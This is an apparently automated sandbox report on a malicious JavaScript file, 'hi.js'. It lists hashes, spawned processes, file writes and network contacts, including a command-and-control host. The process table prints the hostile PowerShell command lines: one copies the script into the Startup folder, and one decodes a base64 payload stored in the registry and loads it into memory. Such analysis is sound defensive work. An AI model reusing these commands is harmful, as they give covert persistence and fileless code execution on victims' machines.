File name: | hi.js |
Full analysis: | https://app.any.run/tasks/336ae848-f7e2-4fb5-86ce-2d477130bdb6 |
Verdict: | Malicious activity |
Analysis date: | March 21, 2019, 17:01:55 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Indicators: | |
MIME: | text/plain |
File info: | ASCII text, with very long lines, with CRLF line terminators |
MD5: | 02E30B89C09B46390BA356CAE9BB6ECC |
SHA1: | AB4A9A04A1DCF9CC871508A621E128B054A74736 |
SHA256: | 8E12D36C03ED532F9A2E6E6248613E235C51032DF9B3382C332E10583323553D |
SSDEEP: | 768:0ugLc/9JBu3+fBv3HYnvtRKLzJR9cpJHQM49IvYBx9/rpWS1BCYDYaID90wVim:Ku9JVfF3Yn7KbmpJHmzB1FDnIvd |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
1520 | "C:\Windows\System32\WScript.exe" "C:\Users\admin\AppData\Local\Temp\hi.js" | C:\Windows\System32\WScript.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Microsoft ® Windows Based Script Host Exit code: 0 Version: 5.8.7600.16385 | ||||
304 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "[System.IO.File]::WriteAllText([Environment]::GetFolderPath(7)+'\hi.js',[System.IO.File]::ReadAllText('C:\Users\admin\AppData\Local\Temp\hi.js'))" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
4076 | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -windowstyle hidden -noexit -Command "$_b = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'start').start;$_b=$_b.replace('~','0');[byte[]]$_0 = [System.Convert]::FromBase64String($_b);$_1 = [System.Threading.Thread]::GetDomain().Load($_0);$_1.EntryPoint.invoke($null,$null);" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | WScript.exe | |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows PowerShell Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
304 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\PBOU6XIZ5D8VYDBJ8I52.temp | — | |
MD5:— | SHA256:— | |||
4076 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\F8I417WAXJIHN7VQK0CD.temp | — | |
MD5:— | SHA256:— | |||
304 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C | |||
304 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFf91d7.TMP | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C | |||
4076 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RFf9292.TMP | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C | |||
304 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\hi.js | text | |
MD5:02E30B89C09B46390BA356CAE9BB6ECC | SHA256:8E12D36C03ED532F9A2E6E6248613E235C51032DF9B3382C332E10583323553D | |||
4076 | powershell.exe | C:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms | binary | |
MD5:7100C9D54A32DFE02751A9E1BC41F804 | SHA256:80122C0BA2B02BE359C80E807AC522D838DB909ED232DFD076AD9B65F7FE699C |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
4076 | powershell.exe | 104.20.209.21:443 | pastebin.com | Cloudflare Inc | US | shared |
4076 | powershell.exe | 194.5.97.145:21000 | holydns.warzonedns.com | — | FR | malicious |
— | — | 194.5.97.145:21000 | holydns.warzonedns.com | — | FR | malicious |
Domain | IP | Reputation |
---|---|---|
pastebin.com |
| shared |
holydns.warzonedns.com |
| malicious |